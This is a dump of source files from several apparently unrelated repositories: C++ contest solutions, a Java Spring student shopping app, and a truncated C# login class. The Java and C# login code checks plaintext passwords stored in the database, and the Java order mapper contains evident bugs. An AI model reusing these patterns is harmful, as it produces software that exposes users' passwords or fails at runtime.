#include <algorithm> #define GETLINEFROM std::cin //long long max_strength = 0; //void dfs(int, unsigned long, std::vector<int>); //void method1(int, unsigned long, std::vector<int>); int main() { std::ifstream file("1.in"); std::vector<std::vector<long>> matrix; // the way to split string with delimiter std::string s, delimiter = " ", num_in_char; size_t pos = 0; while (std::getline(GETLINEFROM, s)) { std::vector<long> line; while ((pos = s.find(delimiter)) != std::string::npos) { num_in_char = s.substr(0, pos); line.push_back(std::stoi(num_in_char)); s.erase(0, pos + delimiter.length()); } num_in_char = s; line.push_back(std::stoi(num_in_char)); matrix.push_back(line); } /* for (unsigned int i = 0; i < matrix.size(); ++i) { for (unsigned int j = 0; j < matrix[i].size(); ++j) { std::cout << std::setw(3) << std::right; std::cout << matrix[i][j] << std::setw(3); } std::cout << std::endl; } */ // // dfs; prune when zero be choosed /* std::vector<int> usable, lines; for (unsigned i = 0; i < 11; ++i) { usable.push_back(i); lines.push_back(i); } */ auto start = std::chrono::high_resolution_clock::now(); /* for (unsigned int i = 0; i < 11; ++i) { for (unsigned int j = 0; j < 11; ++j) { std::vector<int> usable_next(usable); usable_next.erase(usable_next.begin() + j); dfs((i+1) % 11, matrix[lines[i]][j], usable_next); } } */ long long max_res = 0; std::vector<long> v; for (unsigned int i = 0; i < 11; ++i) v.push_back(i); do { long long sum = 0; unsigned int i; for (i = 0; i < 11; ++i) sum += matrix[i][v[i]]; if (sum > max_res) max_res = sum; } while (std::next_permutation(v.begin(), v.end())); //method1(0, 0, usable); auto stop = std::chrono::high_resolution_clock::now(); auto duration = std::chrono::duration_cast<std::chrono::microseconds>(stop-start); std::cout << max_res << std::endl;// << std::endl; //std::cout << "\nTime taken: " << duration.count() << " microseconds" << std::endl; //method1(0,0,usable); //std::cout << max_strength << std::endl; return 0; } /* void dfs(int l, unsigned long cur_strength, std::vector<int> usable) { if (usable.size() == 1) { std::cout << cur_strength + matrix[l][usable[0]] << std::endl; max_strength = \ matrix[l][usable[0]] && cur_strength + matrix[l][usable[0]] > max_strength?\ cur_strength + matrix[l][usable[0]] : max_strength; return; } else { // find max in available int max = 0; std::vector<int> max_pos; for (unsigned int i = 0; i < usable.size(); ++i) if (matrix[l][usable[i]] > max) max = matrix[l][usable[i]]; for (unsigned int i = 0; i < usable.size(); ++i) if (matrix[l][usable[i]] == max) max_pos.push_back(i); for (unsigned int i = 0; i < max_pos.size(); ++i) { if (matrix[l][usable[max_pos[i]]]) { std::vector<int> usable_next(usable); usable_next.erase(usable_next.begin() + max_pos[i]); dfs((i+1) % 11, cur_strength+matrix[l][usable[max_pos[i]]], usable_next); } else return; } } } void method1(int i, unsigned long cur_strength, std::vector<int> usable) { if (usable.size() == 1) { //std::cout << cur_strength + matrix[i][usable[0]] << std::endl; max_strength = \ matrix[i][usable[0]] && cur_strength + matrix[i][usable[0]] > max_strength?\ cur_strength + matrix[i][usable[0]] : max_strength; //std::cout << max_strength << std::endl; return; } else { //for (unsigned int j = 0; j < usable.size(); ++j) std::cout << usable[j] << " "; //std::cout << std::endl; for (unsigned int j = 0; j < usable.size(); ++j) { if (matrix[i][usable[j]]) { std::vector<int> usable_next(usable); usable_next.erase(usable_next.begin() + j); method1(i+1, cur_strength+matrix[i][usable[j]], usable_next); } else return; } } } */``` sumup.cpp ```#include <iostream> #include <string> #include <vector> #include <tuple> #include <cstring> #include <fstream> #include <numeric> #define INPUT cin using namespace std; long long parser(string); bool is_num(string); int main() { // write a parser ifstream file("1.in"); long long to_sumup = 0; string s; while (getline(INPUT, s)) to_sumup += parser(s); //cout << "Result: "; cout << to_sumup << endl; return 0; } /* to parse to given tree and return its value */ long long parser(string tree) { if (is_num(tree)) { return (long long)stoi(tree); } vector<long long> subtree; long lpn = 0, rpn = 0; // num of left/right parenthesis string stree(""); for (unsigned int i = 1; i < tree.size(); ++i) { if (tree[i] == '(') { lpn++; if (lpn-rpn != 1) stree += '('; } else if (tree[i] == ')') { rpn++; if (lpn-rpn <= 1) { stree = lpn-rpn == 0? stree: stree + ')'; if (lpn-rpn == 0 && stree.empty()) break; long long stree_res = parser(stree); subtree.push_back(stree_res); stree.erase(); } else stree += ')'; } else if (tree[i] == ',' && (lpn-rpn == 1)) { if (stree.empty()) continue; // important!!! if having multiple subtree long long stree_res = parser(stree); subtree.push_back(stree_res); stree.erase(); } else stree += tree[i]; } long long res; if (tree[0] == '*') { res = 1; for (auto it = subtree.begin(); it != subtree.end(); ++it) res *= *it; } else { res = 0; res = accumulate(subtree.begin(), subtree.end(), (long long)0); } return res; } bool is_num(string s) { for (unsigned int i = 0; i < s.size(); ++i) if (!isdigit(s[i])) return false; return true; }``` multiset.cpp ```#include <iostream> #include <string> #include <vector> #include <algorithm> #include <tuple> #include <cstring> #include <fstream> #include <numeric> #include <chrono> #define INPUT cin using namespace std; long long parser(string); bool is_num(string); int main() { // write a parser ifstream file("sample-multiset.2.in"); string s; vector<string> tree; bool equal = true; auto start = chrono::high_resolution_clock::now(); while (getline(INPUT, s) && s != "0") { tree.push_back(s); } while (getline(INPUT, s)) { if (tree.size() == 0) equal = false; else { auto it = find(tree.begin(), tree.end(), s); if (it != tree.end()) tree.erase(tree.begin() + distance(tree.begin(), it)); else { equal = false; break; } } } cout << (equal && tree.size() == 0 ? "Equal" : "UnEqual") << endl; auto stop = chrono::high_resolution_clock::now(); auto duration = chrono::duration_cast<chrono::microseconds>(stop-start); //cout << "Time taken: " << duration.count() << " microseconds" << endl; return 0; } /* to parse to given tree and return its value */ long long parser(string tree) { if (is_num(tree)) { return (long long)stoi(tree); } vector<long long> subtree; long lpn = 0, rpn = 0; // num of left/right parenthesis string stree(""); for (unsigned int i = 1; i < tree.size(); ++i) { if (tree[i] == '(') { lpn++; if (lpn-rpn != 1) stree += '('; } else if (tree[i] == ')') { rpn++; if (lpn-rpn <= 1) { stree = lpn-rpn == 0? stree: stree + ')'; if (lpn-rpn == 0 && stree.empty()) break; long long stree_res = parser(stree); subtree.push_back(stree_res); stree.erase(); } else stree += ')'; } else if (tree[i] == ',' && (lpn-rpn == 1)) { if (stree.empty()) continue; long long stree_res = parser(stree); subtree.push_back(stree_res); stree.erase(); } else stree += tree[i]; } long long res; if (tree[0] == '*') { res = 1; for (auto it = subtree.begin(); it != subtree.end(); ++it) res *= *it; } else { res = 0; res = accumulate(subtree.begin(), subtree.end(), (long long)0); } return res; } bool is_num(string s) { for (unsigned int i = 0; i < s.size(); ++i) if (!isdigit(s[i])) return false; return true; }``` theanswer2.cpp ```#include <iostream> #include <vector> #include <map> #include <utility> #include <string> #include <algorithm> #include <chrono> #include <fstream> //#include "functions.hpp" #define INPUT cin using namespace std; int main() { fstream file("2.in"); long long num, x; vector<long long> s1, s2; INPUT >> num >> x; for (long long i = 0; i < num/2; ++i) { long long tmp; INPUT >> tmp; s1.push_back(tmp); } for (long long i = num/2; i < num; ++i) { long long tmp; INPUT >> tmp; s2.push_back(tmp); } if (num % 2) s1.push_back(1e+14); // get the same size // print_vector(s1); print_vector(s2); vector<int> sub; vector<long long> sum1, sum2; sum1.push_back(0); sum2.push_back(0); for (long long i = 0; i < s1.size(); ++i) sub.push_back(0); for (long long i = 0; i < sub.size(); ++i) { sub[sub.size()-1-i] = 1; do { long long tmp1 = 0, tmp2 = 0; for (long long k = 0; k < sub.size(); ++k) { tmp1 += sub[k] * s1[k]; tmp2 += sub[k] * s2[k]; } sum1.push_back(tmp1); sum2.push_back(tmp2); } while (next_permutation(sub.begin(), sub.end())); } sort(sum1.begin(), sum1.end()); sort(sum2.begin(), sum2.end()); //print_vector(sum1); print_vector(sum2); long long res = 0, size = (num%2 == 0 ? sum1.size() : sum1.size()/2); for (long long i = 0; i < size; ++i) { // find (x - sum1[i]) in sum2 // res += count(sum2.begin(), sum2.end(), x-sum1[i]); if (binary_search(sum2.begin(), sum2.end(), x-sum1[i])) { res += upper_bound(sum2.begin(), sum2.end(), x-sum1[i]) - lower_bound(sum2.begin(), sum2.end(), x-sum1[i]); } } cout << res << endl; }``` simplify.cpp ```#include <iostream> #include <string> #include <vector> #include <tuple> #include <cstring> #include <fstream> #include <numeric> #include <chrono> #define INPUT file_read #define OUTPUT file_write #define OR "+" #define AND "*" using namespace std; string simplify_(string&); bool is_num(string); int main() { ifstream file_read("3.in"); ofstream file_write("3.out"); string s(""); getline(INPUT, s); auto start = chrono::high_resolution_clock::now(); OUTPUT << simplify_(s) << endl; auto stop = chrono::high_resolution_clock::now(); auto duration = chrono::duration_cast<chrono::microseconds>(stop-start); cout << "Time taken: " << duration.count() << " microseconds" << endl; return 0; } /* return string removed first level of 1 and 0*/ string simplify_(string& str) { //cout << "cur_tree:" << tree << endl; if (is_num(str)) { return str; } string andor = str.substr(0, 1); str = str.substr(2, str.size()-3) + ","; // remove andor '(' ')' //cout << "remove andor '(' ')': " << str << endl; long sub = 0, num = 0; // sub = #( - #); vector<string> strees; auto idx = str.begin(); string res(""); for (auto c = str.begin(); c != str.end(); ++c) { if (*c == '(') ++sub; else if (*c == ')') --sub; else if (*c == ',' && sub == 0) { string s = string(idx, c); s = simplify_(s); //cout << "subtree: " << s << endl; if (c+1 != str.end()) idx = c + 1; if ((andor == AND && s == "0") || (andor == OR && s == "1")) return s; if (!(andor == AND && s == "1") && !(andor == OR && s == "0")) { res += s + ","; ++num; } } } if (res.size() == 0) return andor == OR ? "0" : "1"; res.pop_back(); if (num >= 2) return andor + "(" + res + ")"; else return res; } bool is_num(string s) { for (unsigned int i = 0; i < s.size(); ++i) if (!isdigit(s[i])) return false; return true; } ``` knights.cpp ```#include <iostream> #include <vector> #include <map> #include <utility> #include <string> #include <algorithm> #include <chrono> #include <fstream> #include <cmath> #define INPUT cin // remember to comment //#include "functions.hpp" using namespace std; template <class T> void print_vector(const std::vector<T>& v) { for (T e : v) { std::cout << e << " "; } std::cout << std::endl; } int main() { fstream file("4.in"); long long n; INPUT >> n; vector<long long> ln, col; // index of existing 0 multimap<long long, pair<long long, long long>> shrln, shrcol; // order by the rightmost element; for (long long i = 0; i < n; ++i) { long long a, b, c, d; INPUT >> a >> b >> c >> d; shrln.emplace(c, make_pair(a, i)); shrcol.emplace(d, make_pair(b, i)); ln.emplace_back(i+1); col.emplace_back(i+1); } map<long long, long long> line, column; auto l = shrln.begin(); auto c = shrcol.begin(); for (; l != shrln.end() && c != shrcol.end(); ++l, ++c) { long long idxl = lower_bound(ln.begin(), ln.end(), l->second.first) - ln.begin(); long long idxc = lower_bound(col.begin(), col.end(), c->second.first) - col.begin(); if ((idxl < n && ln[idxl] <= l->first) && (idxc < n && col[idxc] <= c->first)) { line.insert(l->second.second, ln[idxl]); ln.erase(ln.begin()+idxl); column.insert(c->second.second, col[idxc]); col.erase(col.begin()+idxc); } else { cout << "NI\n"; return 0; } } for (long long i = 0; i < n; ++i) cout << line[i] << " " << column[i] << endl; return 0; } ``` warming1.cpp ```// compile (for debugging): g++ -Wall -Wextra -fsanitize=undefined,address -D_GLIBCXX_DEBUG -g <file> // compile (as on judge): g++ -x c++ -Wall -O2 -static -pipe <file> // Output file will be a.out in both cases #include <bits/stdc++.h> #include <iostream> #include <vector> #include <map> #include <utility> #include <string> #include <algorithm> #include <chrono> #include <fstream> #include <cmath> using namespace std; typedef long long ll; #define debug(x) (cerr << #x << ": " << (x) << endl) // change to cin #define INPUT cin fstream file("test.in"); // comment /*#include "../functions.hpp" void generate_test() { ofstream file("test.in"); ll n, x; n = random<ll>(1, 2E+5); x = random<ll>(0, 1E+9); file << n << " " << x << endl; for (ll i = 0; i < n; ++i) file << random<ll>(1, 1E+9) << " "; }*/ void LIS() { ll n, x; // n~[1, 2E+5], x~[0, 1E+9], t~[1, 1E+9] INPUT >> n >> x; vector<ll> tail(n, 0); ll fst, lgth = 1; INPUT >> fst; tail[0] = fst; for (ll i = 1, tmp; i < n; ++i) { INPUT >> tmp; auto it = lower_bound(tail.begin(), tail.begin()+lgth, tmp); if (it == tail.begin() + lgth) tail[lgth++] = tmp; else *it = tmp; } cout << lgth << endl; } int main() { //generate_test(); auto start = chrono::high_resolution_clock::now(); LIS(); auto stop = chrono::high_resolution_clock::now(); auto duration = chrono::duration_cast<chrono::microseconds>(stop-start); //cout << "Time taken: " << duration.count() << " microseconds" << endl; return 0; } ``` functions.hpp ```#include <random> template <class T> void print_vector(const std::vector<T>& v) { for (T e : v) std::cout << e << " "; std::cout << std::endl; } template <class T> T random(T i, T r) { std::random_device seeder; std::mt19937 rng(seeder()); std::uniform_real_distribution<> gen(i, r); T x = gen(rng); return x; } ```
yuuuuuyaaaaa01/teamb
yuuuuuyaaaaa01/teamb OrderRepository.java ```package jp.co.rakus.ecommerce_b.repository; import javax.annotation.PostConstruct; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.jdbc.core.JdbcTemplate; import org.springframework.jdbc.core.RowMapper; import org.springframework.jdbc.core.namedparam.BeanPropertySqlParameterSource; import org.springframework.jdbc.core.namedparam.NamedParameterJdbcTemplate; import org.springframework.jdbc.core.namedparam.SqlParameterSource; import org.springframework.jdbc.core.simple.SimpleJdbcInsert; import org.springframework.stereotype.Repository; import jp.co.rakus.ecommerce_b.domain.Order; @Repository public class OrderRepository { @Autowired private NamedParameterJdbcTemplate template; private SimpleJdbcInsert insert; private static final RowMapper<Order> ORDER_ROW_MAPPER = (rs, i) -> { Order order = new Order(); order.setId(Integer.parseInt(rs.getString("id"))); order.setUserId(Integer.parseInt(rs.getString("user_id"))); order.setTotalPrice(Integer.parseInt(rs.getString("total_price "))); order.setOrderDate(rs.getDate("order_date ")); order.setDestinationName(rs.getString("destination_name ")); order.setDestinationEmail(rs.getString("destination_email ")); order.setDestinationZipcode(rs.getString("destination_zipcode ")); order.setDestinationAddress(rs.getString("destination_address")); order.setDestinationTel(rs.getString("destination_tel")); order.setDeliverlyTime(rs.getTimestamp("delivery_time"));// timestapๅž‹ order.setPaymentMethod(Integer.parseInt("payment_method ")); return order; }; @PostConstruct public void init() { SimpleJdbcInsert simpleJdbcInsert = new SimpleJdbcInsert((JdbcTemplate) template.getJdbcOperations()); SimpleJdbcInsert withTableName = simpleJdbcInsert.withTableName("orders"); insert = withTableName.usingGeneratedKeyColumns("id"); } public Order save(Order order) { SqlParameterSource param = new BeanPropertySqlParameterSource(order); if (order.getId() == null) { Number key = insert.executeAndReturnKey(param); order.setId(key.intValue()); } else { String upDateSql = "UPDATE orders SET user_id=:userId ,status=:status,total_price=:totalPrice,order_date=:orderDate,destination_name=:destinationName," + "destination_email=:destinationEmail,destination_zipcode=:destinationZipcode,destination_address=:destinationAddress,destination_tel=:destinationTel," + "delivery_time=:deliverlyTime,payment_method=:paymentMethod where id=:id"; template.update(upDateSql, param); } return order; } } ``` ItemRepository.java ```package jp.co.rakus.ecommerce_b.repository; import java.util.List; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.jdbc.core.RowMapper; import org.springframework.jdbc.core.namedparam.NamedParameterJdbcTemplate; import org.springframework.stereotype.Repository; import jp.co.rakus.ecommerce_b.domain.Item; @Repository public class ItemRepository { private static final RowMapper<Item> itemRowMapper = (rs,i) -> { Item item = new Item(); item.setId(rs.getInt("id")); item.setName(rs.getString("name")); item.setDescription(rs.getString("description")); item.setPriceM(rs.getInt("price_m")); item.setPriceL(rs.getInt("price_l")); item.setImagePath(rs.getString("image_path")); item.setDeleted(rs.getBoolean("deleted")); return item; }; @Autowired private NamedParameterJdbcTemplate template; /** * ๅ•†ๅ“ไธ€่ฆงใ‚’ๅ–ๅพ—ใ™ใ‚‹. * * @return itemList */ public List<Item> findAll() { String sql = "SELECT id,name,description,price_m,price_l,image_path,deleted FROM items;"; List<Item> itemList = template.query(sql, itemRowMapper); return itemList; } } ``` OrderItem.java ```package jp.co.rakus.ecommerce_b.domain; import java.util.List; /** * ๆณจๆ–‡ๅ•†ๅ“ใ‚’่กจใ™ใƒ‰ใƒกใ‚คใƒณ. * * @author maiko * */ public class OrderItem { /** id */ private int id; /** ๅ•†ๅ“id */ private int itemId; /** ๆณจๆ–‡id */ private int orderId; /** ๆ•ฐ้‡ */ private int quantity; /** ใ‚ตใ‚คใ‚บ */ private Character size; /** ๅ•†ๅ“ */ private Item item; /** ๆณจๆ–‡ใƒˆใƒƒใƒ”ใƒณใ‚ฐใƒชใ‚นใƒˆ. */ private List<Topping> orderToppingList; public int getId() { return id; } public void setId(int id) { this.id = id; } public int getItemId() { return itemId; } public void setItemId(int itemId) { this.itemId = itemId; } public int getOrderId() { return orderId; } public void setOrderId(int orderId) { this.orderId = orderId; } public int getQuantity() { return quantity; } public void setQuantity(int quantity) { this.quantity = quantity; } public Character getSize() { return size; } public void setSize(Character size) { this.size = size; } public Item getItem() { return item; } public void setItem(Item item) { this.item = item; } public List<Topping> getOrderToppingList() { return orderToppingList; } public void setOrderToppingList(List<Topping> orderToppingList) { this.orderToppingList = orderToppingList; } } ``` LoginController.java ```package jp.co.rakus.ecommerce_b.controller; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Controller; import org.springframework.transaction.annotation.Transactional; import org.springframework.ui.Model; import org.springframework.validation.BindingResult; import org.springframework.validation.ObjectError; import org.springframework.validation.annotation.Validated; import org.springframework.web.bind.annotation.ModelAttribute; import org.springframework.web.bind.annotation.RequestMapping; import jp.co.rakus.ecommerce_b.domain.User; import jp.co.rakus.ecommerce_b.form.LoginForm; import jp.co.rakus.ecommerce_b.service.LoginService; /** * ใƒญใ‚ฐใ‚คใƒณๅ‡ฆ็†ใ‚’ใ™ใ‚‹ใ‚ณใƒณใƒˆใƒญใƒผใƒฉใƒผ * * @author kento * */ @Controller @Transactional @RequestMapping("/") public class LoginController { @Autowired private LoginService userService; //โ€ปใƒญใ‚ฐใ‚คใƒณใƒ•ใ‚ฃใƒซใ‚ฟใƒผใŒๆฉŸ่ƒฝใ™ใ‚‹ใŸใ‚ใ„ใ‚‰ใชใใชใ‚‹ไบˆๅฎš๏ผŸ๏ผŸ /** * ใƒ•ใ‚ฉใƒผใƒ ใ‚’ๅˆๆœŸๅŒ–ใ—ใพใ™. * @return ใƒ•ใ‚ฉใƒผใƒ  */ @ModelAttribute public LoginForm setUpForm() { return new LoginForm(); } /** * ใƒญใ‚ฐใ‚คใƒณ็”ป้ขใ‚’่กจ็คบใ—ใพใ™. * @return ใƒญใ‚ฐใ‚คใƒณ็”ป้ข */ @RequestMapping("/") public String index(Model model/*LoginForm form, BindingResult result, @RequestParam(required = false) String error*/) { /*System.err.println("login error:" + error); if (error != null) { System.err.println("member: login failed"); //result.addError(new ObjectError("loginError", "ใƒกใƒผใƒซใ‚ขใƒ‰ใƒฌใ‚นใพใŸใฏใƒ‘ใ‚นใƒฏใƒผใƒ‰ใŒไธๆญฃใงใ™ใ€‚")); model.addAttribute("loginError", "ใƒกใƒผใƒซใ‚ขใƒ‰ใƒฌใ‚นใพใŸใฏใƒ‘ใ‚นใƒฏใƒผใƒ‰ใŒไธๆญฃใงใ™ใ€‚"); }*/ return "login"; } /** * ใƒญใ‚ฐใ‚คใƒณๅพŒๆคœ็ดข็”ป้ขใ‚’่กจ็คบใ—ใพใ™ * * @param model * @return ใƒญใ‚ฐใ‚คใƒณๅพŒๆคœ็ดข็”ป้ข */ @RequestMapping("/item-list") public String itemList(Model model) { return "item-list"; } /** * ใƒญใ‚ฐใ‚คใƒณๅ‡ฆ็†ใ‚’่กŒใ„ใพใ™. * * @param formใ€€ใƒ•ใ‚ฉใƒผใƒ  * @param resultใ€€ใƒชใ‚ถใƒซใƒˆ * @param modelใ€€ใƒขใƒ‡ใƒซ * @returnใ€€ใƒญใ‚ฐใ‚คใƒณๆˆๅŠŸๆ™‚๏ผšๆ›ธ็ฑใƒชใ‚นใƒˆ็”ป้ข */ @RequestMapping("/login") public String login(@Validated LoginForm form,BindingResult result, Model model) { if (result.hasErrors()){ return index(model); } String email = form.getEmail(); String password =form.getPassword(); User user = userService.findOneByMailAndPass(email, password); if (user == null) { ObjectError error = new ObjectError("loginerror", "ใƒกใƒผใƒซใ‚ขใƒ‰ใƒฌใ‚นใพใŸใฏใƒ‘ใ‚นใƒฏใƒผใƒ‰ใŒ้•ใ„ใพใ™ใ€‚"); result.addError(error); System.out.println("ๅคฑๆ•—"); return index(model); } model.addAttribute("user", user); System.out.println("ๆˆๅŠŸ"); return "redirect:/item-list"; } } ``` OrderController.java ```package jp.co.rakus.ecommerce_b.controller; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.validation.BindingResult; import org.springframework.validation.annotation.Validated; import org.springframework.web.bind.annotation.ModelAttribute; import org.springframework.web.bind.annotation.RequestMapping; import jp.co.rakus.ecommerce_b.domain.Order; import jp.co.rakus.ecommerce_b.form.OrderForm; import jp.co.rakus.ecommerce_b.service.OrderService; /** *ใ€€ๆœ€็ต‚ๆณจๆ–‡ใ‚’ใ™ใ‚‹ใŸใ‚ใฎcontroller. * * @author yuya.nishikiori * */ @Controller @RequestMapping("/order") public class OrderController { @Autowired public OrderService service; @ModelAttribute public OrderForm SetUpForm() { return new OrderForm(); } /** * ๆณจๆ–‡็”ป้ขใ‚’่กจ็คบ. * * @return ๆณจๆ–‡็ขบ่ช็”ป้ขใซreturn. */ @RequestMapping("/order") public String order(@Validated OrderForm orderForm,BindingResult result,Model model) { Order order = service.findByUserIdAndStatus(); //ๆœชๅ…ฅ้‡‘ใฎ order ใ‚’ไฝฟ็”จ model.addAttribute("order",order); //ๆœชๅ…ฅ้‡‘ใฎ order ใ‚’ใ€€confirm็”ป้ขใงไฝฟ็”จ return "order_confirm2"; } /** * ๆณจๆ–‡ใ‚’DBใซไฟๅญ˜. * * @return ๆณจๆ–‡ๅฎŒไบ†็”ป้ขใซreturn. */ @RequestMapping("/orderConfirm") public String orderConfirm(Order order) { service.save(order); // orderๆƒ…ๅ ฑใ‚’updateใ™ใ‚‹ return "order_finished"; } } ``` package-info.java ```/** * */ /** * @author kento * */ package jp.co.rakus.ecommerce_b.form;``` UserRepository.java ```package jp.co.rakus.ecommerce_b.repository; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.dao.DataAccessException; import org.springframework.jdbc.core.RowMapper; import org.springframework.jdbc.core.namedparam.MapSqlParameterSource; import org.springframework.jdbc.core.namedparam.NamedParameterJdbcTemplate; import org.springframework.jdbc.core.namedparam.SqlParameterSource; import org.springframework.stereotype.Repository; import jp.co.rakus.ecommerce_b.domain.User; @Repository public class UserRepository { /** * ResultSetใ‚ชใƒ–ใ‚ธใ‚งใ‚ฏใƒˆใ‹ใ‚‰Memberใ‚ชใƒ–ใ‚ธใ‚งใ‚ฏใƒˆใซๅค‰ๆ›ใ™ใ‚‹ใŸใ‚ใฎใ‚ฏใƒฉใ‚นๅฎŸ่ฃ…&ใ‚คใƒณใ‚นใ‚ฟใƒณใ‚นๅŒ– */ private static final RowMapper<User> USER_ROW_MAPPER = (rs, i) -> { Integer id = rs.getInt("id"); String name = rs.getString("name"); String email = rs.getString("email"); String password = rs.getString("password"); String zipcode = rs.getString("zipcode"); String address = rs.getString("address"); String telephone = rs.getString("telephone"); return new User(id, name, email, password, zipcode, address, telephone); }; @Autowired private NamedParameterJdbcTemplate template; /* ใƒกใƒผใƒซใ‚ขใƒ‰ใƒฌใ‚นใจใƒ‘ใ‚นใƒฏใƒผใƒ‰ใ‹ใ‚‰ใƒกใƒณใƒใƒผใ‚’ๅ–ๅพ—. @param mailAddress ใƒกใƒผใƒซใ‚ขใƒ‰ใƒฌใ‚น @param password ใƒ‘ใ‚นใƒฏใƒผใƒ‰ @return ใƒกใƒณใƒใƒผๆƒ…ๅ ฑ.ใƒกใƒณใƒใƒผใŒๅญ˜ๅœจใ—ใชใ„ๅ ดๅˆใฏnull. */ public User findByMailAndPass(String email, String password) { User user = null; String sql = "SELECT id, name, email, password, zipcode, address, telephone FROM users WHERE email=:email AND password=:password;"; try { SqlParameterSource param = new MapSqlParameterSource().addValue("email", email).addValue("password", password); user = template.queryForObject(sql, param, USER_ROW_MAPPER); //System.out.println("a"); return user; } catch (DataAccessException e) { //System.out.println("b"); return null; } } } ``` Ec201810bApplication.java ```package jp.co.rakus.ecommerce_b; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; @SpringBootApplication public class Ec201810bApplication { public static void main(String[] args) { SpringApplication.run(Ec201810bApplication.class, args); } } ``` ItemService.java ```package jp.co.rakus.ecommerce_b.service; import java.util.List; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import jp.co.rakus.ecommerce_b.domain.Item; import jp.co.rakus.ecommerce_b.repository.ItemRepository; @Service public class ItemService { @Autowired private ItemRepository itemRepository; /** * ใƒ†ใƒผใƒ–ใƒซใซ็™ป้Œฒใ•ใ‚Œใฆใ„ใ‚‹ๅ…จใฆใฎๅ•†ๅ“ๆƒ…ๅ ฑใ‚’่ฟ”ใ™. * * @return List<Item> ๅ•†ๅ“ไธ€่ฆงใ‚’่กจ็คบ */ public List<Item> findAll() { return itemRepository.findAll(); } } ``` PutItemIntoCartService.java ```package jp.co.rakus.ecommerce_b.service; import java.util.List; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import jp.co.rakus.ecommerce_b.domain.Order; import jp.co.rakus.ecommerce_b.domain.OrderItem; import jp.co.rakus.ecommerce_b.domain.OrderTopping; import jp.co.rakus.ecommerce_b.form.PutItemIntoForm; import jp.co.rakus.ecommerce_b.repository.OrderItemRepository; import jp.co.rakus.ecommerce_b.repository.OrderRepository; import jp.co.rakus.ecommerce_b.repository.OrderToppingRepository; @Service public class PutItemIntoCartService { @Autowired private OrderRepository orderRepository; @Autowired private OrderItemRepository orderItemRepository; @Autowired private OrderToppingRepository orderToppingRepository; public void putItemIntoCart(PutItemIntoForm form) { Order order = new Order(); //ใ‚ปใƒƒใ‚ทใƒงใƒณใ‹ใ‚‰ๅ–ใ‚Šๅ‡บใ—ใŸใƒฆใƒผใ‚ถใƒผIDใ‚’orderใ‚ชใƒ–ใ‚ธใ‚งใ‚ฏใƒˆใซใ‚ปใƒƒใƒˆใ™ใ‚‹ order = orderRepository.save(order); OrderItem orderItem = new OrderItem(); orderItem.setItemId(form.getIntValueOfItemId()); orderItem.setQuantity(form.getIntValueOfQuantity()); orderItem.setOrderId(order.getId()); orderItem.setSize(form.getSize()); orderItem = orderItemRepository.insert(orderItem); List<String> toppings = form.getToppingList(); for (String topping : toppings) { OrderTopping ordertopping = new OrderTopping(); int toppingId = Integer.parseInt(topping); ordertopping.setToppingId(toppingId); ordertopping.setOrderItemId(orderItem.getId()); ordertopping = orderToppingRepository.insert(ordertopping); } } } ``` OrderService.java ```package jp.co.rakus.ecommerce_b.service; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import jp.co.rakus.ecommerce_b.domain.Order; import jp.co.rakus.ecommerce_b.repository.OrderRepository; @Service public class OrderService { @Autowired public OrderRepository repository; /* ้ฝŠ่—คใ•ใ‚“ใจไฝœๆˆ * ๆœชๅ…ฅ้‡‘ใฎ order ใ‚’ๅ–ๅพ—ใ™ใ‚‹. * @return ๆœชๅ…ฅ้‡‘ใฎ orderใ‚’่ฟ”ใ™. */ public Order findByUserIdAndStatus() { return null; } /* * ๆณจๆ–‡ใ‚’DBใซไฟๅญ˜ใ™ใ‚‹ update ใ‚’ๅ‘ผใณๅ‡บใ™. * * @param order ๆณจๆ–‡ๆƒ…ๅ ฑใŒ่ฉฐใพใฃใฆใ„ใ‚‹. * @return ๆณจๆ–‡ๆƒ…ๅ ฑใ‚’่ฟ”ใ™. */ public Order save(Order order) { return repository.save(order); } } ``` OrderItemRepository.java ```package jp.co.rakus.ecommerce_b.repository; import javax.annotation.PostConstruct; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.jdbc.core.JdbcTemplate; import org.springframework.jdbc.core.namedparam.BeanPropertySqlParameterSource; import org.springframework.jdbc.core.namedparam.NamedParameterJdbcTemplate; import org.springframework.jdbc.core.namedparam.SqlParameterSource; import org.springframework.jdbc.core.simple.SimpleJdbcInsert; import org.springframework.stereotype.Repository; import jp.co.rakus.ecommerce_b.domain.OrderItem; @Repository public class OrderItemRepository { @Autowired private NamedParameterJdbcTemplate template; private SimpleJdbcInsert insert; @PostConstruct public void init() { SimpleJdbcInsert simpleJdbcInsert = new SimpleJdbcInsert((JdbcTemplate) template.getJdbcOperations()); SimpleJdbcInsert withTableName = simpleJdbcInsert.withTableName("order_items"); insert = withTableName.usingGeneratedKeyColumns("id"); } public OrderItem insert(OrderItem orderItem) { SqlParameterSource param = new BeanPropertySqlParameterSource(orderItem); Number key = insert.executeAndReturnKey(param); orderItem.setId(key.intValue()); return orderItem; } } ``` package-info.java ```/** * */ /** * @author kento * */ package jp.co.rakus.ecommerce_b.service;```
yuvalbj/FactoryPrj
yuvalbj/FactoryPrj LoginBL.cs ```๏ปฟusing System; using System.Collections.Generic; using System.Linq; using System.Web; namespace FactoryPrj.Models { public class LoginBL { FactoryEntities1 db = new FactoryEntities1(); public bool IsAuthenticated(string usrname, string pwd) { var result = db.Users.Where(x => x.UserName == usrname && x.Password == pwd); var user = db.Users.Where(x => x.UserName == usrname).First(); if (result.Count() == 0) { return false; } else { if (user.Date != DateTime.Today) { user.NumOfActions = 0; db.SaveChanges(); } return true; } } public bool IsCrossedLImitPerDay(string usrname) { var user = db.Users.Where(x => x.UserName == usrname).First(); if (user.Date == DateTime.Today) { if (user.NumOfActions <= user.Credits) { user.NumOfActions++; db.SaveChanges(); return true; } else { return false; } } else { user.NumOfActions++; user.Date = DateTime.Now; db.SaveChanges(); return true; } } public User getUser(string usrname) { return db.Users.Where(x => x.UserName == usrname).First(); } } }``` DataForSearch.cs ```๏ปฟusing System; using System.Collections.Generic; using System.Linq; using 